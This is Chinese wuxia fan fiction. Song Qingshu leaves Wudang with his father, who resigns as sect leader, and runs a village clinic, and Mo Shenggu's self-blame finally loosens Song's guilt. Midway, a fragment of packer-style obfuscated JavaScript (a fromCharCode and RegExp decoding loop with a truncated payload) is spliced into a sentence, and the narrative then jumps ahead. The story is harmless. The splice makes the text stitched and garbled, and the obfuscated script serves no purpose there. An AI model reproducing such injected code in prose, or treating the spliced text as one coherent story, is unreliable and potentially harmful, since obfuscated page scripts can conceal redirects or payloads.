模糊的视线边缘,是莫声谷那张写满了震惊、后怕、以及某种更深沉东西的脸庞,还有他微微颤抖的、紧抱着自己的手臂。 宋青书想说什么,嘴唇翕动了一下,却发不出任何声音,只在彻底陷入黑暗前,极轻微地、几不可察地,在那温暖的怀抱里,放松了最后一丝紧绷。 杨不悔产子那日的惊心动魄与最终响彻云霄的婴儿啼哭,如同投入武当山静潭的一块巨石,激起的波澜久久不息。 那不仅仅是殷梨亭小院里的新生喜悦,更在无形中,松动了许多人心头经年累月积下的沉珂。 宋青书是在昏睡了一天一夜后才醒转的。醒来时,人已回到了自己房中,窗外天色微明,空气中飘散着熟悉的药香,还有一丝极淡的、新生婴儿特有的奶香气,不知是从哪个方向随风送来。 他浑身骨头像是散了架,又酸又软,指尖残留着昨日竭力操控时的细微颤抖,可心头却奇异般地松快。那长久以来堵在胸口、让他呼吸艰难的沉甸甸的巨石,仿佛被那声嘹亮的啼哭震开了一道宽阔的裂隙,虽然尚未完全搬开,却有光透入,有清风吹过。 他靠在床头,怔怔地望着自己苍白却不再死气沉沉的手掌。就是这双手,昨日……救了两条性命。 房门被轻轻推开,殷梨亭端着一碗热气腾腾的参汤走了进来。不过一日光景,这位素来温润的六叔仿佛经历了冰火两重天,眼下一片青黑,胡茬冒出,面容憔悴,可那双眼睛里,却盛满了劫后余生的、几乎要满溢出来的感激与一种近乎虔诚的庆幸。 “青书,你醒了!”殷梨亭快步走到床前,声音有些发颤,他将参汤放在一旁,忽然撩起衣袍下摆,竟是要跪下去! “六叔!不可!”宋青书大惊失色,也不知哪来的力气,挣扎着就要起身去扶,却牵动浑身酸软,一阵头晕目眩,险些栽下床。 殷梨亭到底没跪成,连忙上前扶住他,将他按回枕上,自己也在床边坐下,眼圈却已红了。“青书……六叔……六叔谢谢你……谢谢你救了你六婶,救了孩子,救了……救了六叔这条命啊!”他紧紧握住宋青书冰凉的手,力道大得几乎要捏碎他的骨头,声音哽咽,“你是不知道……当时……当时我看着那盆盆血水端出来,听着里面没了声响……我、我……”他说不下去,只是用力摇头,泪水滚落下来,“要是你六婶真有个什么……我……我都不知道自己往后……还能不能活得下去……” 宋青书听着,看着他六叔从未在人前显露过的、如此脆弱又如此真挚的后怕与悲痛,心头那点刚刚冒头的、关于“自己或许还有用”的微末认知,忽然变得无比真实而沉重。他反手握住殷梨亭颤抖的手,声音虽弱,却清晰:“六叔,别这么说。是六婶和孩子福大命大。”他顿了顿,抬眼直视着殷梨亭含泪的眼睛,轻声却坚定地道,“而且……六婶也救了我。” 殷梨亭一怔,不解地看着他。 宋青书苍白的脸上浮现一丝极淡的、近乎释然的苦笑:“让我知道……我这副样子,或许……还能做点别的事。不只是……拖累和愧悔。” 这话说得平淡,却像一根细针,轻轻刺破了殷梨亭心中淤积的某些情绪。他看着眼前这个自己看着长大、曾经意气风发、如今却消瘦苍白得惊人的师侄,想起他昨日冲进产房时那份决绝与专注,想起他脱力倒下时那破碎的模样,心中五味杂陈,疼惜、感激、愧疚、欣慰……种种情绪翻涌,最终只化作更紧的握手,和一声长长的、混杂着无尽感慨的叹息。 “青书……好孩子……”殷梨亭抹了把脸,将那碗参汤端起来,“来,先喝了。你六婶和孩子都好,等你精神好些,就去看看。那小子,嗓门可真亮,像你六婶。” 宋青书顺从地喝下参汤,温热的液体滑入喉管,暖意渐渐蔓延到四肢百骸。他忽然想起昏迷前最后感知到的那个怀抱,和那张满是复杂情绪的脸。七叔……他后来怎么样了? 这个念头刚起,就被他强行压了下去。现在,还不是想这些的时候。 又过了几日,宋青书身体稍复,能下床走动了。他先去看了杨不悔和孩子。杨不悔虽仍虚弱,但精神尚好,看着摇篮里安睡的婴儿,脸上是初为人母的温柔光辉。她拉着宋青书的手,亦是谢了又谢,眼中同样有泪光闪烁。那小小的、红扑扑的婴儿,睡得正酣,浑然不知自己出生时曾经历怎样一番生死劫难。 看着这安宁的一幕,宋青书心中那份“或许还能做点事”的念头,越发清晰、坚定起来。 这一日清晨,武当诸侠连同张三丰,都聚在了真武大殿侧旁的静室中。宋青书穿戴整齐,虽仍显清瘦,但脊背挺直,目光沉静,不再有往日那种恍惚与逃避。他走到正中,对着上首的张三丰,以及两旁的父亲和诸位师叔,深深一揖。 “太师父,爹,各位师叔。”他开口,声音不高,却带着一种深思熟虑后的平稳,“青书不孝,累诸位长辈忧心挂怀至今。如今……青书想向诸位辞行,下山去了。” 此言一出,室内空气微微一凝。宋远桥下意识地踏前一步:“青书,你身子尚未大好,下山去何处?做什么?” “爹,”宋青书看向父亲,眼中带着恳切,却无动摇,“我想……去陪伴母亲。这几年,我竟从未好好地关心她。也还想……去江湖上走走看看。”他没有说要去“治病救人”,那目标对此刻的他来说,或许仍显得太大、太虚,但他心中的确有了模糊的方向。 “江湖险恶,你如今……”俞莲舟皱眉,话未说完,但担忧之意显而易见。 “青书明白。”宋青书低声道,“我会小心。也会……试着用我还能做到的方式,去……做点事情。”他没有明说,但殿中诸人,尤其是经历过杨不悔生产一事的,都隐约明白了他所指。 张三丰一直静静听着,此刻缓缓开口:“青书,你可是想清楚了?” 宋青书抬头,迎上太师父那仿佛能洞悉一切却又包容万物的目光,郑重地点了点头:“是,太师父。青书想清楚了。有些路,总要自己走过,心结……或许才能真的解开。武当永远是青书的家,青书不敢或忘。只是如今……青书想先出去看看。” 他的目光扫过父亲担忧的脸,二叔严肃的眼,三叔的欣慰,四叔沉思的神情,六叔温和的鼓励,还有……站在稍远处、一直沉默的七叔。莫声谷只是看着他,嘴唇紧抿,眼神深不见底,没有反对,也没有赞同,只有一片沉沉的静默。 宋青书心头微涩,移开了目光。 就在这时,宋远桥忽然上前几步,走到张三丰面前,撩衣跪倒。 “师父!”他声音带着一种压抑已久的沉重与决绝,“弟子……弟子想辞去掌门之职!” 此言一出,满室皆惊。连宋青书都愕然看向父亲。 “大师兄!”“大哥!”俞莲舟、张松溪等人纷纷出声。 张三丰目光微动,看着跪在面前的宋远桥,脸上并无太多意外,只缓声道:“远桥,你执掌武当多年,克己奉公,并无大过。何以突然请辞?” 宋远桥抬起头,这位素来端严持重、将武当门楣看得比天还大的掌门,此刻眼中竟有泪光,他看向一旁同样震惊的儿子,又转回目光,对着张三丰,一字一句道:“师父明鉴。弟子这些年,兢业于门派事务,自问对得起武当,对得起师父教诲。可……弟子唯独,对不起自己的儿子。” 他的声音开始颤抖:“青书幼时,我便对他寄予厚望,严加管教,却疏于陪伴,更少去体察他心中所思所想。待他稍长,我又忙于俗务,以为他天资卓绝,便该事事周全,却忘了他也只是个少年人,会迷茫,我只知以门规责他,以言语刺他,何曾真正静下心来,听他说一句,以一个父亲的身份?” 泪水终于滚落,宋远桥泣道:“直到此次青书重伤归来,看着他奄奄一息,看着他被心魔折磨,看着他明明……明明心中有万千苦楚却一个字不肯说,弟子才恍然惊觉,我这个父亲,做得何等失败!我教出了武当首徒,却差点失去了自己的儿子!” 他重重叩首:“弟子深知,武当掌门责任重大,非才德兼备者不能胜任。二师弟莲舟,沉稳干练,胸怀磊落,处事公允,远胜于我。由他接任掌门,必能将武当发扬光大。弟子恳请师父允准,辞去掌门之责。弟子并非要脱离武当,武当永远是弟子的根。弟子只是……只是想卸下重担,往后余生,能多些时间,陪陪青书。他下山,弟子便随他下山;他行医,弟子便为他护持。他心中的结,弟子无法替他解开,但至少……能陪着他,看着他,不再让他一个人扛着。” 一番话,说得情真意切,悔恨与父爱交织,令闻者动容。俞莲舟等人面露不忍,张松溪更是轻声叹息。宋青书早已泪流满面,他从未想过,在父亲那端严持重、甚至有些古板的面容下,竟藏着如此深重的自责与如此深沉却疏于表达的爱。 张三丰静默良久,目光在跪地泣诉的大弟子和一旁泪流不止的徒孙身上来回逡巡。殿内一片寂静,只有宋远桥压抑的抽泣声。 最终,老人缓缓抬手,虚扶一下:“起来吧,远桥。” 宋远桥抬头,泪眼模糊地望着师父。 “你的心思,为师明白了。”张三丰的声音带着沧桑的温和,“这些年来,你为武当,确已尽心竭力。如今你想将担子交予莲舟,多陪伴青书,此乃人伦常情,亦是你的选择。莲舟,”他看向俞莲舟。 俞莲舟立刻肃然躬身:“师父。” “你可愿接过这掌门之责,护持武当?” 俞莲舟没有丝毫犹豫,沉声道:“弟子俞莲舟,必竭尽全力,不负师父与大师兄所托,不负武当上下!” 张三丰点了点头:“好。自即日起,武当掌门之位,由俞莲舟接任。远桥,”他又看向宋远桥,眼神中含着深意,“你永远是我武当弟子。往后,便依你本心而行吧。” “谢师父成全!”宋远桥再次叩首,这才起身,退到一旁,与泪眼朦胧的宋青书目光相接,父子二人,隔着数步之遥,却仿佛第一次真正看清了彼此眼中深藏的情感。 事情便这般定了下来。俞莲舟接任掌门的仪式择日举行,而宋青书下山的行期,也定了下来。 临行前夜,宋青书独自在房中收拾简单的行囊。门被轻轻敲响,他打开门,门外站着莫声谷。 两人对视片刻,一时无言。廊下的风灯将光影投在莫声谷脸上,明暗不定。 “七叔。”宋青书低声唤道。 莫声谷“嗯”了一声,走进来,将一个小布包放在桌上。“一些……你常吃的止咳丸。多备着些。” “谢谢七叔。”宋青书垂眸。 又是一阵沉默。 “此去……保重。”莫声谷最终只吐出这四个字,声音干涩。 “我会的。”宋青书应道,顿了顿,抬起头,鼓起勇气看向莫声谷的眼睛,“七叔……也保重。” 莫声谷深深看了他一眼,那目光复杂难言,似有千言万语,最终却只是点了点头,转身离开了,背影在廊下灯光中拉得很长。 翌日,宋青书在父亲宋远桥的陪伴下,辞别太师父与诸位师叔,悄然下山。俞莲舟新任掌门,需料理诸多事务,张松溪、殷梨亭等人亦各有职司,只在山门前送别。莫声谷没有出现。 山下世界,果然与清修的山中不同。宋青书先去了母亲李桂风经营的药堂,那在武当山脚一处清幽的小镇上。 李桂风见丈夫和儿子一起回来,自然是喜不自胜。 之后,他们把小药堂,又加修葺,挂上了“回春堂”的匾额。起初,因他年轻,又带着病容,生意甚是清淡。他也不急,只是将铺子里里外外收拾得洁净整齐,药材分门别类,晚上研读医书,偶尔为附近穷苦人家免费看诊,开的方子也多是价廉有效之物。 渐渐地,有人发现这年轻郎中虽然沉默少言,但诊脉细心,下药精准,尤其对一些疑难杂症或外伤处理,常有出人意料却效果显著的法子。尤其是曾有个猎户被野兽所伤,伤口溃烂,高烧不退,别家大夫都已摇头,却被宋青书用一些古怪的草药外敷内服,配合奇特的清创手法,硬生生将人从鬼门关拉了回来。此事传开,“回春堂”和这位宋大夫的名声才渐渐响亮起来。 宋青书并不在意名声,他只是每日坐堂,看诊,抓药,研究病症。每当看到病患痛苦而来,舒展眉头而去,或是听到那一声真诚的“谢谢宋大夫”,他心头那份“或许还能做点事”的踏实感,便增添一分。咳疾依旧不时发作,但似乎不再那么令人绝望,成了他这副身体的一部分,提醒着他生命的脆弱,也提醒着他救治他人的意义。 宋远桥卸去了掌门重担,仿佛也卸下了一层厚重的铠甲,整个人变得平和许多。他并不干涉儿子行医,只是默默打理药铺杂务,照料宋青书的饮食起居,在他诊病忙碌时帮忙维持秩序,在他深夜研读医书时默默添上一盏灯。父子二人话依然不多,但那种彼此守护的宁静,却让小小的“回春堂”充满了暖意。 而武当山,也并未真正远离。每隔一段时日,俞莲舟、张松溪、殷梨亭,甚至……莫声谷,总会有人“恰好”下山办事,“顺路”来这小镇看看。有时带来山上的药材或特产,有时只是坐下喝杯茶,问问近况,偶尔也会隐在暗处,看着宋青书专注诊病的侧影,或是与宋远桥对坐闲谈时脸上那日渐平和的神采,然后悄然离去,留下一份无声的关切与守护。 这一日,春光明媚,“回春堂”外排队的病患比往日更多了些。宋青书刚刚送走一位腹痛的妇人,正低头写着脉案,忽听门外传来一阵急促的脚步声和惊惶的呼喊: “宋大夫!宋大夫救命啊!我家娃娃吃错了东西,噎住了,脸都紫了!” 宋青书倏然站起,几步抢到门口。只见一个农妇抱着个约莫两三岁的孩童,孩子双眼翻白,小手无力地抓着喉咙,已发不出声音。 “快!抱进来!”宋青书声音冷静,迅速让开道路。 诊室内,他接过孩子,手法迅捷而稳定地采用了一种特殊的按压手法,几下之后,孩子“哇”地一声,吐出一枚枣核,随即大声哭了出来,脸色也渐渐回转。 农妇喜极而泣,抱着孩子就要下跪。宋青书连忙扶住,只温和道:“以后小心些,莫让孩子碰这些细小硬物。” 转身又去净手,准备看下一个病人。 就在他转身的刹那,目光无意间掠过街角。那里,一个戴着斗笠、身形挺拔的身影正静静站着,隔着熙攘的人群,朝这边望来。虽看不清面容,但那道目光,宋青书却觉得熟悉。 是七叔吗? 他心头微微一动,却未停步,只是继续走向自己的诊桌。阳光透过“回春堂”敞开的门扉,暖融融地照在他身上,也照在案头那摞厚厚的医书,和一只不知何时被谁悄然放在那里、还带着山间露水清香的野菊上。 门外,人群熙攘,生机勃勃。门内,药香弥漫,宁静安和。 日子在“回春堂”的药香与病患往来中,如溪水般平缓流过。春深夏浅,院角那株野茉莉开了又谢,空气里渐渐添了暑热黏湿的意味。宋青书的咳疾随着季节变换,时轻时重,但眉宇间那层挥之不去的郁色,终究是淡了许多。他依旧清瘦,穿着半旧青衫坐在诊桌后,目光落在腕间脉枕上时,是纯粹的专注与沉静。只是偶尔,在无人问诊的间隙,或是深夜整理医案时,他会停下笔,望着窗外沉沉的夜色,或是一灯如豆的光晕,怔忡片刻。那些时候,空茫会重新回到他眼底,仿佛透过眼前安宁的表象,望见了某些深埋的、依旧刺骨的东西。 宋 远桥将这一切细微的变化看在眼里。他如今褪去了掌门的威仪,更像一个寻常的、有些笨拙却无比尽心的父亲。他会默不作声地添上热茶,会在宋青书咳得厉害时,轻轻拍抚他的背脊,动作生疏,却带着不容错辨的疼惜。父子间依旧话不多,但那种沉默,不再是令人窒息的隔阂,而是一种彼此知晓、无需多言的陪伴。 武当诸侠依然时而来“顺路”看看。俞莲舟每次来,总会带来一些山上精制的丸散,说是“放着也是放着”。张松溪则会留下几本搜罗来的珍本医书,或是一些疑难杂症的记录,供宋青书参详。殷梨亭来得最勤,抱着他那日渐白胖的儿子,让小家伙咿咿呀呀地冲宋青书挥舞藕节似的手臂,仿佛在用最鲜活的生命力,驱散这医馆里挥之不去的药苦与病气。 唯独莫声谷,来的次数最少,也最沉默。他常常是黄昏时分出现,戴着斗笠,牵着他的马,风尘仆仆。有时只是站在街角,远远望一会儿“回春堂”里忙碌或静坐的身影;有时会走进来,放下一些山中猎得的野味、或是质地特殊的药材,粗声粗气地说一句“用得上”,便不再多言,也不久留,仿佛真的只是路过。宋青书在他面前,总是不自觉地挺直背脊,那份刻意的“淡”也会变得有些僵硬,垂着眼睫,低声说一句“谢谢七叔”。两人之间,隔着一道看不见的、由往事、愧疚、以及那日剖白后更复杂的情绪筑成的墙。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫声谷也没有立刻离开。他就那么站着,看着宋青书侧脸上被灯光勾勒出的、显得格外脆弱的轮廓,看着他微微抿紧的、没什么血色的唇,还有那下意识蜷起、搭在医书边缘的、细瘦的手指。雨声喧嚣,却盖不住他心里翻腾的、这些日子以来反复思量、却始终未能出口的话。 他想起那夜宋青书在昏迷中喊出的“七叔别死”,想起他醒来后那份沉重的、几乎压垮他自己的愧疚,想起他对“误杀”之事绝口不提却夜夜惊魇的恐惧,更想起不久前,他当着所有人的面,用那样平静却绝望的语气,述说那个“杀了七叔、背叛武当”的“梦”。 事后静思,尤其是看着宋青书如今这副拼命想从“无用”和“悔恨”中挣脱出来、踉跄前行却依旧被噩梦缠绕的模样,一个念头,如同这夏夜的闪电,猝然劈亮了他心中某个一直被忽略的角落。 或许……那不仅仅是一个梦? 这个念头让他自己都心惊。可若非亲身经历过极致的恐惧与悔恨,怎会幻化出如此清晰具体、连细节都令人胆寒的“梦境”?若非真实地、在某种情境下“目睹”或“造成”过无法挽回的后果,又怎会将对“七叔”的愧疚,深刻沉重至此,成为心魔的核心? 如果……如果那不是梦…… 莫声谷的呼吸微微一滞,胸口像是被什么东西重重撞了一下。他看着眼前这个苍白消瘦、仿佛轻轻一折就会断掉的青年,想起他年少时跟在自己身后练剑、眼中全是崇拜与依赖的光芒,想起他后来渐渐疏远、眼中多了复杂难言的情绪……许多被忽略的细节,似乎都串联了起来。 “青书。”莫声谷忽然开口,声音在哗哗雨声中显得有些沉闷,却异常清晰。 宋青书肩膀几不可察地抖了一下,慢慢转过身,抬起眼,带着一丝疑惑和不易察觉的紧张,望向他。 莫声谷往前走了一步,离得更近了些。油灯的光晕将他半边脸映得明亮,另半边隐在阴影里,神情显得格外凝重。他目光沉沉地锁住宋青书的眼睛,仿佛要透过那层竭力维持的平静,看进他灵魂最深处,看进那个或许连宋青书自己都不敢直面、只能以“梦”为名的真相里去。 “你之前说……”莫声谷的喉结滚动了一下,声音压得更低,带着一种奇异的、近乎探究的慎重,“你做了一个梦。梦里……你杀了我。” 宋青书的脸色“唰”地一下变得惨白,连嘴唇都失了颜色。他像是被这句话烫到,猛地向后退了一小步,脊背抵住了冰冷的药柜,指尖深深掐进了掌心。眼中瞬间涌上巨大的惊惶与痛苦,还有一丝被骤然触及最痛处的狼狈无措。他张了张嘴,却只发出一点气音,随即死死咬住了下唇,别开脸,不敢再看莫声谷。 这反应,无疑印证了莫声谷心中的猜测。那绝不仅仅是一个噩梦那么简单。 莫声谷没有逼他,只是看着他剧烈颤抖的睫毛和煞白的脸,心中的那个念头越发清晰,也越发沉重。他没有追问“是不是真的”,而是用一种缓慢的、仿佛每个字都经过千钧重压才吐露出来的语调,继续说了下去: “我在想……” 他停顿了一下,似乎在组织最难措辞的语言,目光却始终没有离开宋青书。 “假如……假如那不是梦。” 宋青书浑身剧震,倏然抬头,难以置信地瞪大眼睛看着莫声谷,仿佛听到了世上最恐怖、最不可思议的话。他眼中的惊恐几乎要满溢出来,混合着更深的绝望,仿佛最后的伪装也被毫不留情地撕开。 莫声谷迎着他这样惊骇的目光,心中最后一丝不确定也消失了。他没有退缩,反而向前又踏了极小的一步,距离近得能感受到彼此呼吸的微颤。他的声音不再沉郁,反而带上了一种近乎残酷的冷静,一字一句,清晰得如同刀刻: “假如那不是梦……假如你真的,在某个时候,因为某种缘故,对我……”他顿了顿,终究没有说出“下手”或“杀害”这样的字眼,只是含糊地带过,“……那么。” 他的目光变得更加深沉,里面翻涌着复杂的情绪,有痛楚,有审视,但更多的,是一种骤然明悟后的、沉重的自责。 “那应该……也是我不对。” 宋青书彻底呆住了,瞳孔骤缩,像是完全听不懂他在说什么。不对?七叔说……是七叔不对? 莫声谷看着他那茫然震惊到极点的样子,心中那钝痛的感觉越发清晰。他想起自己一贯的性子,刚直,急躁,眼里揉不得沙子,对亲近之人要求尤甚。若青书当真犯下大错,以自己从前的脾气…… 他闭了闭眼,复又睁开,语气是前所未有的沉缓,带着一种自我剖析的艰难: “我必定是……太过于逼迫你。” “逼你去承认你或许还没准备好面对的错,逼你在我面前,在所有人面前,撕开伤口,血淋淋地认罪。” “我没有给你留下……任何转圜的余地,任何……稍微不那么难堪的退路。” 他的声音低了下去,仿佛也被这自己推断出的“可能”压得喘不过气。 “我把你……逼到了绝境。所以,你才会……” 宋青书呆呆地站着。 七叔竟说……是他不对?是他逼迫太甚? 长久以来,宋青书将所有的罪责、所有的错误都扛在自己身上,认为是自己心术不正,是自己卑鄙无耻,是自己一时鬼迷心窍或蓄意为之。他从未、也不敢从另一个角度去想——当时的境况,旁人的态度,尤其是七叔那刚烈眼里容不得沙子的性情,是否也是将那把致命之剑递到自己手中的推手? 这突如其来的、完全颠覆他自我认知的“指控”,像一道狂暴的闪电,不是劈向他,而是劈向了他心中那座名为“罪孽”的、坚不可摧的黑色山峰。 山峰剧烈摇晃,碎石滚落。 他猛地抬手捂住了嘴,眼泪不受控制地涌出,和冷汗混在一起,狼狈不堪。 莫声谷脸色一变,立刻上前扶住他摇摇欲坠的身体。“青书!” 就在这时,后堂传来宋远桥走近的脚步声和关切询问:“青书?怎么了?咳得这么厉害?” 莫声谷深深看了一眼几乎站立不住的宋青书,那一眼包含了太多复杂难言的东西。然后,他猛地转身,没有再看宋远桥,也没有留下只言片语,一把拉开门,高大的身影决绝地冲进了门外无边无际的、哗哗作响的暴雨黑夜之中,顷刻间便被吞没,消失不见。 只留下满室冰凉的水汽,摇曳的昏暗灯光,跌坐在药柜旁剧烈喘息、咳得撕心裂肺、泪流满面的宋青书,和那个被遗忘在诊桌上、依旧干燥的油布包。 雨,还在下。又急又猛,仿佛要洗净天地间所有的尘埃与隐秘。 而宋青书心中那座黑沉的山,在雷霆般的“是我不对”的轰击下,已然出现了巨大的、贯穿性的裂痕。有什么冰冷坚硬的东西,正在那裂痕深处,悄然松动、融化。 莫声谷那句话,像一道裹挟着惊雷与冰雹的飓风,蛮横地撞开了宋青书心中那座囚禁他太久、压得他几乎魂飞魄散的漆黑堡垒。 “假如不是梦……那应该也是我不对。” “我必定是……太过于逼迫你。” 每一个字,都像烧红的烙铁,狠狠烫在他早已麻木溃烂的良知上。不是指责,不是质问,而是……揽罪。七叔将那把可能沾染过他自己鲜血的利刃,调转方向,对准了他自己。 宋青书最初的反应是极致的惊恐与混乱。他像被逼到绝境的幼兽,咳得撕心裂肺,泪汗交流,挣脱开莫声谷试图搀扶的手,蜷缩在冰冷的药柜角落,只觉得天旋地转,五脏六腑都搅在了一起。太师父的宽容,父亲的悔悟,诸位师叔的尽力周全……这些温暖他并非感受不到,但它们像隔着一层厚重的琉璃,看得见,却始终无法真正暖透他冻僵的魂魄。因为最深的那根毒刺——对七叔的“杀害”与背叛——是他独自吞咽、连在“梦”中都不敢完整呈现的绝毒,是他一切自我厌弃与无用感的终极根源。 可现在,那个他以为永远无法面对、只能带进坟墓的“真相”,竟然被七叔以一种如此残酷又如此……慈悲的方式,劈开了最外面那层自欺的壳。七叔没有说“你杀了我”,他说“是我不对”。没有追究他宋青书的罪孽,反而将可能的“因”,归咎于他自己的“逼迫”。 这颠覆性的认知,像一把无比锋利的、却也是唯一能撬开那坚硬心壳的钥匙。剧烈的呛咳与眩晕中,宋青书混乱的思绪里,翻腾着前尘往事的碎片——七叔严厉的斥责,失望的眼神,得知他偷窥峨眉女侠时那暴怒到几乎要立刻清理门户的决绝……是的,七叔刚烈,眼里揉不得沙子,对亲近之人要求尤严。若自己当真铸下大错,以七叔的性子,必定是不问情由、雷霆震怒,要立刻押他回山,当众治罪,绝不姑息。 那时的自己呢?惶恐,绝望,被陈友谅拿捏,对周芷若又惧又愧,对武当声名与父亲颜面的担忧压垮了最后一丝理智……在那种绝境下,面对七叔不容分说的、代表着“绝对正确”与“最终审判”的逼迫,会做出什么? 那荒野的一剑,究竟是卑鄙的蓄意谋杀,还是在极端压力与恐惧下的疯狂失手?抑或是……一种更绝望的、想要终结一切痛苦、包括终结那个让自己无地自容的“审判者”的癫狂? 他从未敢深想。因为无论哪种,结果都一样——七叔倒下了。这是他灵魂上永不愈合的伤口。 可如今,七叔却说,若真有此事,“也是我不对”。是他“太过于逼迫”,没有留下“转圜的余地”,没有给“稍微不那么难堪的退路”。 这句话,像一道最猛烈的阳光,骤然刺穿了宋青书自我囚禁的、最黑暗的牢狱深处。原来……原来那滔天的罪孽,那无法承受的愧疚,并非全然是他宋青书一人心性卑劣、无可救药的证明。原来在那种情境下,七叔的“对”,也可能成为一种将他推向深渊的“错”。 这并非为他开脱。他犯下的错,他造成的伤害,依旧血淋淋地存在。但这认知,像是一下子将那压得他脊椎都要断裂的、名为“全责”的巨石,撬松了一个角。巨石依旧在,却不再是他必须、且只能独自背负的永恒诅咒。有人……那个他最愧对的人,竟然愿意分走一部分重量,哪怕是以“自责”的方式。 巨大的冲击过后,是一种近乎虚脱的平静,以及从这平静深处,渐渐涌上来的、滚烫的、几乎要将他淹没的洪流—— 是感动。 排山倒海,无法遏制的感动。 太师父的宽厚,是老人的慈悲;父亲的悔悟,是血浓于水的天性;师叔们的关怀,是同门之谊的延伸。唯有七叔此刻这“揽罪”之言,是真正将他宋青书——这个罪人,这个懦夫,这个挣扎在泥泞里的灵魂——放到了一个近乎“平等”的位置上去理解,去体谅,甚至去……分担。 七叔没有原谅他,他甚至不敢奢求原谅,七叔只是……理解了他那一刻可能的绝望。这种理解,比任何宽恕都更沉重,也更珍贵。因为它基于一种深刻的、将心比心的审视,审视他们彼此的性格,审视当时可能的情境,审视“对”与“错”之间那模糊而残酷的灰色地带。 宋青书依旧在颤抖,泪水无法控制地奔流,但不再是纯粹痛苦的宣泄。那泪水滚烫,冲刷着他苍白脸颊上的汗渍与惊惶,也仿佛在冲刷着灵魂深处那层厚厚的、名为“自我定罪”的污垢。他靠着药柜,慢慢滑坐在地上,将脸深深埋进屈起的膝盖,肩膀剧烈地耸动,发出压抑的、闷在胸腔里的呜咽。这一次,不是咳,是哭。像一个终于被允许哭泣的孩子,哭出所有的委屈、恐惧、悔恨,以及那猝然降临的、几乎承受不住的撼动与温暖。 心结……原来解开的瞬间,并非云开月明般的豁然开朗,而是这般山崩地裂般的疼痛与释放。那根扎得最深、毒液最烈的刺,被七叔以一种近乎自残的方式,硬生生拔了出来。留下一个鲜血淋漓、空洞洞的伤口,却也带走了那日夜腐蚀骨髓的毒素。 雨还在下,哗啦啦地敲打着门窗屋顶。不知过了多久,宋青书的哭声渐渐低了下去,只剩下细微的抽噎。他抬起头,脸上泪痕狼藉,眼睛红肿,眼神却不再是一片死寂的灰败或惊惶的空洞。那里有未散的泪光,有释放后的疲惫,但更深处,一种沉淀下来的、近乎清澈的平静,正在慢慢浮现。 他望向门口,七叔早已冲入雨中离去。地上还有他留下的湿漉漉的脚印,诊桌上,那个油布包静静搁着。 宋青书挣扎着,扶着药柜慢慢站起来。腿还有些软,心口依旧因激烈的情绪起伏而闷痛,咳意也未全然平复,但那股一直萦绕不散的、沉甸甸的自我厌弃与绝望的枷锁,却真切地松开了。他走到桌边,手指有些发颤地,轻轻碰了碰那个油布包。 里面是七叔冒雨送来的老参。 为了给他“补气”。 宋青书闭上眼,深深吸了一口气,空气中弥漫着药材的苦香和雨水的清新。再睁开时,他眼中最后一丝迷茫与挣扎,也悄然散去。 他走到门边,拉开一条缝隙。暴雨如注,街上空无一人,只有昏黄的灯笼在风雨中飘摇。早已看不见七叔的身影。 但他知道,有些东西,已经不一样了。 他转身回到诊桌后,没有继续整理医书,而是铺开一张干净的纸,研墨,提笔。笔尖悬在纸上良久,终于落下。 不是药方,也不是医案。 他写得很慢,很认真,字迹虽因体力未复而略显虚浮,却一笔一划,力透纸背。 他在写信。写给七叔。 不需要太多言语,也许只是简单的“参已收到,多谢七叔”,也许……会多一点别的。他不知道七叔能否看懂,但他需要写下这一刻的心境,这豁然开朗后的清明,这卸下最沉重枷锁后、对前路重新生出的、微弱的却真实的勇气。 雨声渐渐转小,由倾盆之势化为淅淅沥沥的缠绵。后堂传来宋远桥刻意放轻的脚步声,他终究是不放心,悄悄过来看了一眼。见儿子虽眼眶红肿,神情却是一种前所未有的平和,正专注地伏案书写,宋远桥站在暗处,看了片刻,心中诧异,却又莫名一松,悄然退了回去,未曾打扰。